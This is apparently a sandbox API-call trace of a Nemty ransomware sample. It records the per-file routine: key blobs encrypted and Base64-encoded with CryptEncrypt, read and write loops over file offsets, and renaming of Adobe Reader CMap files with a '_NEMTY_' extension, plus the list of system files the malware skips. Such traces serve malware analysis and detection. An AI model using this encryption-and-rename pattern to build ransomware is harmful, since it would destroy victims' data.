lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UCS2-V", lpUsedDefaultChar=0x0) returned 13 [0211.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0211.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0211.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0211.425] Sleep (dwMilliseconds=0x5) [0211.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31aa7010, dwHighDateTime=0x1d561e8)) [0211.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31aa7010, dwHighDateTime=0x1d561e8)) [0211.440] GetLastError () returned 0x5 [0211.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0211.440] GetLastError () returned 0x5 [0211.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0211.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.441] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0211.441] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0211.441] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0211.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0211.441] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="hWcNlH9gfQW+kKT0/ukf6qXSpWpoXgr6TeNej6YXVgNX6bBRzTudsHg22QZjDNei\r\nciYX959ozmpxdEp2wajmmPrartQFbU9Xa7Q0udFZWKrzTJO+7OvlrmhjUV80EtqK\r\nGY7YVRj448pHG5zUKCenjX/TnQfBfRcQIBIEcUgnXx07uV7ovF4CBVi2EibY5N8E\r\nrJhsg+Y4fCwehRjwBHVptUMagFMnxHAF0igW9xahcIpPW/qAUn8seMrK5KNhv//N\r\nL3N0kkSiCAyYgwNiieKMBgHanvJjdXfmxf1btLxFRoFDRoj8Y+5T1G46DGTDbXD+\r\nugOW9nnaxO5XSNRC7ySPPQ==\r\n", pcchString=0x653e91c) returned 1 [0211.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0211.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0211.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0211.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0211.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0211.441] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-ucs2-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.441] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0211.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0211.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.470] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.489] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.498] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.498] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.517] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.536] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0211.548] CloseHandle (hObject=0xffffffff) returned 0 [0211.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0211.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0211.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0211.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0211.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0211.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0211.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.548] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-ucs2-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-ucs2-v._nemty_kgobjgd_")) returned 0 [0211.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0211.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0211.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0211.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0211.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0211.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0211.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0211.549] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x425e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UTF16-H", cAlternateFileName="UNICNS~4")) returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2=".") returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="..") returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="...") returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="windows") returned -1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="$RECYCLE.BIN") returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="rsa") returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="NTDETECT.COM") returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="ntldr") returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="MSDOS.SYS") returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="IO.SYS") returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="boot.ini") returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="boot.ini") returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="AUTOEXEC.BAT") returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="ntuser.dat") returned 1 [0211.549] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="desktop.ini") returned 1 [0211.550] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="CONFIG.SYS") returned 1 [0211.550] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="RECYCLER") returned 1 [0211.550] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="BOOTSECT.BAK") returned 1 [0211.550] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="bootmgr") returned 1 [0211.550] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="programdata") returned 1 [0211.550] lstrcmpiW (lpString1="UniCNS-UTF16-H", lpString2="appdata") returned 1 [0211.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UTF16-H", lpUsedDefaultChar=0x0) returned 14 [0211.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UTF16-H", lpUsedDefaultChar=0x0) returned 14 [0211.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UTF16-H", lpUsedDefaultChar=0x0) returned 14 [0211.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UTF16-H", lpUsedDefaultChar=0x0) returned 14 [0211.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0211.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0211.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0211.550] Sleep (dwMilliseconds=0x5) [0211.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31bd7b10, dwHighDateTime=0x1d561e8)) [0211.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31bd7b10, dwHighDateTime=0x1d561e8)) [0211.572] GetLastError () returned 0x5 [0211.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0211.572] GetLastError () returned 0x5 [0211.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0211.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.572] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0211.572] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0211.572] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0211.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0211.572] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="sTzJgzSnstMOrmPX75W/ht1OEpNBHw/H041sy6H6ib89kXhE8qSpaBx6AvqO9mOC\r\n90ANQy5+rJQfqW0bqQzP5U7d+iQIoeuJ5mRkaoHbSZH2tOin7Ed9zepQvI5ou7/G\r\n+fTkl+/9Zxd5vaKyKLfo/Y2Mt4r7M5wp+JkpEE5AqypMu7iJB1wRRFrJlPZciM5E\r\n78u5TuGvhp+KyacvRz8GLHqPbIJz2DOw1BtkXVDpKL9VZDc8cC0EhUTXFKx6JRNU\r\nZL2bhbPh6mhvxYOLh2q9G4PQpYV3jveNntJ6Ih4wvo2rnDUWi2cxv1aRAoho75WL\r\nDdyan+GyRwUMiR6tIVUmDA==\r\n", pcchString=0x653e91c) returned 1 [0211.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0211.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: 